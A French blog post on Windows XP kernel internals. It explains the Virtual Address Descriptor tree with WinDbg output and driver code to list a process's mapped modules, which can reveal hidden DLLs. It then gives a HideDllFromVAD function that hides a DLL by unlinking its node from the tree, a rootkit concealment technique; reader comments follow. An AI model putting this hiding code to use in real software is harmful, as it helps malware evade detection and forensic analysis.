Hidding Module from the Virtual Address Descriptor Tree
Salut =)
Récemment j’ai lu un post d’Ivanlef0u : LdrpHashTable dans lequel il montre comment cacher une dll de cette table. En lisant ce post on peut dire que nous connaissons 4 techniques pour cacher une dll :
- Unlink de InLoadOrderModuleList.
- Unlink de InMemoryOrderModuleList.
- Unlink de InInitializationOrderModuleList.
- Unlink de LdrpHashTable.
Mon but est donc de vous montrer une nouvelle méthode. Cette technique est basée sur les Virtual Address Descriptors. Essayons donc de comprendre le fonctionnement de la gestion de ces descripteurs.
Understanding Virtual Address Descriptors :
En fait chaque processus possède des VADs situés en kernel land et il existe un VAD pour décrire chaque espace de mémoire du utilisé par le processus. Un VAD est constitué de la structure MMVAD que voici :
typedef struct MMVAD { /*0x000*/ ULONG32 StartingVpn; /*0x004*/ ULONG32 EndingVpn; /*0x008*/ struct _MMVAD* Parent; /*0x00C*/ struct _MMVAD* LeftChild; /*0x010*/ struct _MMVAD* RightChild; union { /*0x014*/ ULONG32 LongFlags; /*0x014*/ struct _MMVAD_FLAGS VadFlags; }u; /*0x018*/ struct _CONTROL_AREA* ControlArea; /*0x01C*/ struct _MMPTE* FirstPrototypePte; /*0x020*/ struct _MMPTE* LastContiguousPte; union { /*0x024*/ ULONG32 LongFlags2; /*0x024*/ struct _MMVAD_FLAGS2 VadFlags2; }u2; }MMVAD, *PMMVAD;
Maintenant j’attire votre attention sur les champs suivant :
/*0x008*/ struct _MMVAD* Parent; /*0x00C*/ struct _MMVAD* LeftChild; /*0x010*/ struct _MMVAD* RightChild;
On voit que un VAD a un « VAD parent » et deux « VADs enfants ». C’est à dire que les VADs sont organisés comme un arbre. Vous comprendrez mieux avec le schéma qui suit.
Un autre champ important est celui-ci :
/*0x018*/ struct _CONTROL_AREA* ControlArea;
La définition de cette structure est :
struct _CONTROL_AREA* ControlArea; typedef struct CONTROL_AREA { /*0x000*/ struct _SEGMENT* Segment; /*0x004*/ struct _LIST_ENTRY DereferenceList; /*0x00C*/ ULONG32 NumberOfSectionReferences; /*0x010*/ ULONG32 NumberOfPfnReferences; /*0x014*/ ULONG32 NumberOfMappedViews; /*0x018*/ UINT16 NumberOfSubsections; /*0x01A*/ UINT16 FlushInProgressCount; /*0x01C*/ ULONG32 NumberOfUserReferences; union { /*0x020*/ ULONG32 LongFlags; /*0x020*/ struct _MMSECTION_FLAGS Flags; }u; /*0x024*/ struct _FILE_OBJECT* FilePointer; /*0x028*/ struct _EVENT_COUNTER* WaitingForDeletion; /*0x02C*/ UINT16 ModifiedWriteCount; /*0x02E*/ UINT16 NumberOfSystemCacheViews; }CONTROL_AREA, *PCONTROL_AREA;
On peut donc obtenir un pointeur vers une structure _FILE_OBJECT qui peut nous permettre, si l’espace de mémoire correspond à un module chargé, de retrouver son nom :
nt!_FILE_OBJECT +0x000 Type : Int2B +0x002 Size : Int2B +0x004 DeviceObject : Ptr32 _DEVICE_OBJECT +0x008 Vpb : Ptr32 _VPB +0x00c FsContext : Ptr32 Void +0x010 FsContext2 : Ptr32 Void +0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS +0x018 PrivateCacheMap : Ptr32 Void +0x01c FinalStatus : Int4B +0x020 RelatedFileObject : Ptr32 _FILE_OBJECT +0x024 LockOperation : UChar +0x025 DeletePending : UChar +0x026 ReadAccess : UChar +0x027 WriteAccess : UChar +0x028 DeleteAccess : UChar +0x029 SharedRead : UChar +0x02a SharedWrite : UChar +0x02b SharedDelete : UChar +0x02c Flags : Uint4B +0x030 FileName : _UNICODE_STRING +0x038 CurrentByteOffset : _LARGE_INTEGER +0x040 Waiters : Uint4B +0x044 Busy : Uint4B +0x048 LastLock : Ptr32 Void +0x04c Lock : _KEVENT +0x05c Event : _KEVENT +0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXT
Donc voici a schéma qui témoigne de tout ce que j’ai dit :
De plus, Windbg nous permet de lister les VADs assez simplement, voici un exemple :
kd> !process 0 0 calc.exe PROCESS 8163b020 SessionId: 0 Cid: 01d0 Peb: 7ffde000 ParentCid: 0654 DirBase: 0d6c3000 ObjectTable: e12a18f8 HandleCount: 40. Image: calc.exe kd> dt _EPROCESS 8163b020 nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER 0x1cabeaf`5509f2b0 +0x078 ExitTime : _LARGE_INTEGER 0x0 +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : 0x000001d0 +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x805604d8 - 0x811b4ca0 ] +0x090 QuotaUsage : [3] 0x870 +0x09c QuotaPeak : [3] 0x898 +0x0a8 CommitCharge : 0xee +0x0ac PeakVirtualSize : 0x2258000 +0x0b0 VirtualSize : 0x1d31000 +0x0b4 SessionProcessLinks : _LIST_ENTRY [ 0xf9fb5014 - 0x8114a0d4 ] +0x0bc DebugPort : (null) +0x0c0 ExceptionPort : 0xe13bea18 +0x0c4 ObjectTable : 0xe12a18f8 _HANDLE_TABLE +0x0c8 Token : _EX_FAST_REF +0x0cc WorkingSetLock : _FAST_MUTEX +0x0ec WorkingSetPage : 0x346 +0x0f0 AddressCreationLock : _FAST_MUTEX +0x110 HyperSpaceLock : 0 +0x114 ForkInProgress : (null) +0x118 HardwareTrigger : 0 +0x11c VadRoot : 0x810051c8 ... kd> !vad 0x810051c8 VAD level start end commit 8112a328 ( 2) 10 10 1 Private READWRITE 811260a0 ( 1) 20 20 1 Private READWRITE 811e1008 ( 4) 30 30 1 Private READWRITE 811294f0 ( 3) 40 7f 4 Private READWRITE 8113f288 ( 2) 80 81 2 Private EXECUTE_READWRITE 810761c0 ( 3) 90 92 0 Mapped READONLY 810051c8 ( 0) a0 a1 0 Mapped READONLY 810cc678 ( 4) b0 1af 18 Private READWRITE 810f15e8 ( 3) 1b0 1bf 6 Private READWRITE 81148d50 ( 4) 1c0 1cf 0 Mapped READWRITE 81104cf0 ( 2) 1d0 1e5 0 Mapped READONLY 810ec5f0 ( 5) 1f0 22c 0 Mapped READONLY 810d3ad0 ( 4) 230 270 0 Mapped READONLY 810e9008 ( 3) 280 285 0 Mapped READONLY 81158288 ( 6) 290 357 0 Mapped EXECUTE_READ 81652628 ( 7) 360 360 1 Private READWRITE 81168268 ( 8) 370 37f 6 Private READWRITE 8165d448 ( 9) 380 381 0 Mapped READONLY 81609178 (10) 3a0 3a1 0 Mapped READONLY 81142510 (11) 3b0 3b0 0 Mapped READWRITE 81124aa8 ( 5) 3c0 3cf 8 Private READWRITE 81123390 ( 4) 3d0 3df 4 Private READWRITE 81130cf8 ( 6) 3e0 3e2 0 Mapped READONLY 81656ad8 ( 5) 3f0 42f 3 Private READWRITE 810ca450 ( 7) 430 532 0 Mapped READONLY 8112d478 ( 6) 540 83f 0 Mapped EXECUTE_READ 81140350 ( 7) 840 8bf 1 Private READWRITE 810d6750 ( 8) 8c0 90f 0 Mapped READONLY 81139540 ( 9) 910 931 28 Mapped Exe EXECUTE_WRITECOPY 812119b0 (10) 940 a3f 4 Private NO_ACCESS 815f43b0 ( 1) 1000 101e 3 Mapped Exe EXECUTE_WRITECOPY 810f01f8 ( 8) 595b0 59779 10 Mapped Exe EXECUTE_WRITECOPY 810d0530 ( 9) 5b090 5b0c7 2 Mapped Exe EXECUTE_WRITECOPY 8168d668 ( 7) 5cea0 5cec5 20 Mapped Exe EXECUTE_WRITECOPY 815ef448 ( 9) 76960 76a14 3 Mapped Exe EXECUTE_WRITECOPY 810cc180 ( 8) 76ae0 76b0e 3 Mapped Exe EXECUTE_WRITECOPY 810cb9c0 (10) 770e0 7716b 4 Mapped Exe EXECUTE_WRITECOPY 8114aef8 (11) 77390 77491 2 Mapped Exe EXECUTE_WRITECOPY 81639090 ( 9) 774a0 775dc 8 Mapped Exe EXECUTE_WRITECOPY 816a3078 (10) 77bb0 77bc4 2 Mapped Exe EXECUTE_WRITECOPY 810cf3d8 (11) 77bd0 77bd7 1 Mapped Exe EXECUTE_WRITECOPY 810ab7d8 ( 6) 77be0 77c37 7 Mapped Exe EXECUTE_WRITECOPY 810bccd0 ( 5) 77d10 77d9f 5 Mapped Exe EXECUTE_WRITECOPY 816c80a0 ( 4) 77da0 77e4b 6 Mapped Exe EXECUTE_WRITECOPY 810b9008 ( 5) 77e50 77ee0 2 Mapped Exe EXECUTE_WRITECOPY 81143f18 ( 6) 77ef0 77f36 2 Mapped Exe EXECUTE_WRITECOPY 811372c0 ( 7) 77f40 77fb5 2 Mapped Exe EXECUTE_WRITECOPY 810f83a0 ( 3) 7c800 7c903 13 Mapped Exe EXECUTE_WRITECOPY 8168fdc0 ( 2) 7c910 7c9c6 5 Mapped Exe EXECUTE_WRITECOPY 816c1770 ( 5) 7c9d0 7d1f2 31 Mapped Exe EXECUTE_WRITECOPY 81154fd8 ( 4) 7f6f0 7f7ef 0 Mapped EXECUTE_READ 8161b2e0 ( 3) 7ffb0 7ffd3 0 Mapped READONLY 816a3990 ( 5) 7ffdd 7ffdd 1 Private READWRITE 8169a128 ( 4) 7ffde 7ffde 1 Private READWRITE Total VADs: 54 average level: 6 maximum depth: 11
Bien, maintenant nous allons manipuler les VADs nous-même.
Walking into the VAD Tree :
Je vous ai montré comment parcourir la l’arbre des VADs manuellement. On est donc en mesure de coder un driver pour lister les VADs d’un processus.
Premièrement on doit obtenir un pointeur vers le premier VAD (VadRoot) depuis la structure EPROCESS :
PMMVAD GetVAD(PUCHAR szProcessName) { PMMVAD pVadRoot = NULL; PEPROCESS pEprocess = NULL; pEprocess = GetEprocess(szProcessName); DbgPrint("\n\nEPROCESS : 0x%x \n\n", pEprocess); if(pEprocess == 0x0) { DbgPrint("\nProcess not found\n"); return 0x0; } pVadRoot = (PMMVAD)*(PULONG)((PUCHAR)pEprocess+0x11C); DbgPrint("\n\nVADRoot : 0x%x\n\n", pVadRoot); return pVadRoot; }
Et ensuite nous pouvons lister les « VAD enfants » et ainsi de suite. Seulement vous allez me dire que cela est un peu difficile car il y a un « VAD enfant à gauche » et un autre « à droite » qui tous deux ont également deux « VAD enfants » etc… L’astuce est d’utiliser la récursivité. J’obtiens alors cette fonction :
VOID ListVAD(PMMVAD pParentVad, LONG level) { PMMVAD pVadLeft = NULL; PMMVAD pVadRight = NULL; VAD_INFO VadInfo; if(pParentVad == 0x0) return; VadInfo.level = level; SetVadInfo(pParentVad, &VadInfo); DisplayVadInfo(&VadInfo); pVadLeft = (PMMVAD)pParentVad->LeftChild; pVadRight = (PMMVAD)pParentVad->RightChild; if(pVadLeft != 0x0) { ListVAD(pVadLeft, level+1); } if(pVadRight != 0x0) { ListVAD(pVadRight, level+1); } return; }
Vous voyez que les VADs vont avoir des niveaux selon leur position dans l’arbre (parents, enfants, petits enfants, … =) ).
Pour chaque VAD j’affiche quelques informations et voici le résultat :
Lilxam VADTree driver OK EPROCESS : 0x8163b020 VADRoot : 0x810051c8 [+]0x810051c8 Level : 0 Control Area : 0x811c44e0 File Object : 0x0 Name : (null) [+]0x811260a0 Level : 1 Control Area : 0xa070004 File Object : 0x0 Name : (null) [+]0x8112a328 Level : 2 Control Area : 0x170004 File Object : 0x0 Name : (null) [+]0x8113f288 Level : 2 Control Area : 0xa060004 File Object : 0x0 Name : (null) ... [+]0x815f43b0 Level : 1 Control Area : 0x81650338 File Object : 0x81641840 Name : \WINDOWS\system32\calc.exe [+]0x81104cf0 Level : 2 Control Area : 0x81695e60 File Object : 0x81695de8 Name : \WINDOWS\system32\unicode.nls ... [+]0x8168fdc0 Level : 2 Control Area : 0x817b62d8 File Object : 0x81791898 Name : \WINDOWS\system32\ntdll.dll [+]0x810f83a0 Level : 3 Control Area : 0x81642c98 File Object : 0x81697488 Name : \WINDOWS\system32\kernel32.dll [+]0x816c80a0 Level : 4 Control Area : 0x817048b8 File Object : 0x8166d798 Name : \WINDOWS\system32\advapi32.dll [+]0x810bccd0 Level : 5 Control Area : 0x8162d388 File Object : 0x816c3520 Name : \WINDOWS\system32\user32.dll ... Driver exited
Bien, vous comprenez qu’avec cette technique on peut lister les Dlls and trouver celles qui sont cachés des 4 listes citées précédemment !
Ivanlef0u owned ;p.
Mais alors qu’en est-il si on veux cacher une dll ce cette nouvelle liste ?
Hiding from VAD :
Alors ce n’est pas très difficile de cacher une Dll de l’arbre des VADs. Par exemple on peut parcourir les VADs en cherchant notre dll à cacher et ensuite en remplaçant le pointeur de son « VAD parent » par un pointeur null et il sera impossible de le retrouver avec notre fonction précédente. Cette technique n’est pas très propre puisque tous les autres VADs dépendant de celui que nous cachons vont être eux aussi cachés. On aurait pu créer notre propre VAD qui aurait prit la place de celui que nous souhaitons faire disparaitre par exemple, cela aurait été plus propre. Mais par manque de temps j’ai préféré implémenté la première méthode :
VOID HideDllFromVAD(PMMVAD pParentVad, LONG level, PUNICODE_STRING pDllName) { PMMVAD pVadLeft = NULL; PMMVAD pVadRight = NULL; PUNICODE_STRING pVadName = NULL; if((LONG)pParentVad == 0x0) return; pVadLeft = (PMMVAD)pParentVad->LeftChild; pVadRight = (PMMVAD)pParentVad->RightChild; /* Check left VAD */ pVadName = GetVADName(pVadLeft); if(pVadName != 0x0) { if(wcsstr(pVadName->Buffer, pDllName->Buffer)) { DbgPrint("\nDll found : %wZ", pVadName); DbgPrint("\nErasing from Vad list..."); (ULONG)pParentVad->LeftChild = 0x0; return; } } /* Check Right VAD */ pVadName = GetVADName(pVadRight); if(pVadName != 0x0) { if(wcsstr(pVadName->Buffer, pDllName->Buffer)) { DbgPrint("\nDll found : %wZ", pVadName); DbgPrint("\nErasing from Vad list..."); (ULONG)pParentVad->RightChild = 0x0; return; } } if(pVadLeft != 0x0) { HideDllFromVAD(pVadLeft, level+1, pDllName); } if(pVadRight != 0x0) { HideDllFromVAD(pVadRight, level+1, pDllName); } return; }
Bien, c’est la fin de cet article, vous pouvez consulter les sources en ligne ici : VADTree.c & structs.h
Ou télécharger les Sources+Binaire ici : VAD_Tree.zip
Cya !
Franchement bien
J’avais encore jamais vue cette histoire de VAD.
Est-ce que ca peux causer des problemes de stabilités un effacement du VAD comme ca ?
Salut,
et bien je n’ai encore eu aucun problème, mais je suis parfaitement conscient que ma méthode est un peu « barbare ».
En fait il serait beaucoup plus propre et stable de modifier seulement la structure FILE_OBJECT. C’est ce que j’aurais mieux fait de faire.
Ensuite, je pense, il y a d’autres champs à modifier parce que même en effaçant la structure FILE_OBJECT, le VAD comporte des flags qui permettent de savoir que l’espace mémoire correspondant est exécutable et donc on peut savoir qu’il s’agit d’un module. C’est un sujet qui mérite d’être développé, si j’ai le temps j’essaierai de faire un code un peu mieux.
Cordialement,
Lilxam.
En effet c’est très interresant merci pour cette article. Sa serait sympa si tu pouvais expliqué un peu plus sur ce FILE_OBJECT et manipuler les flags.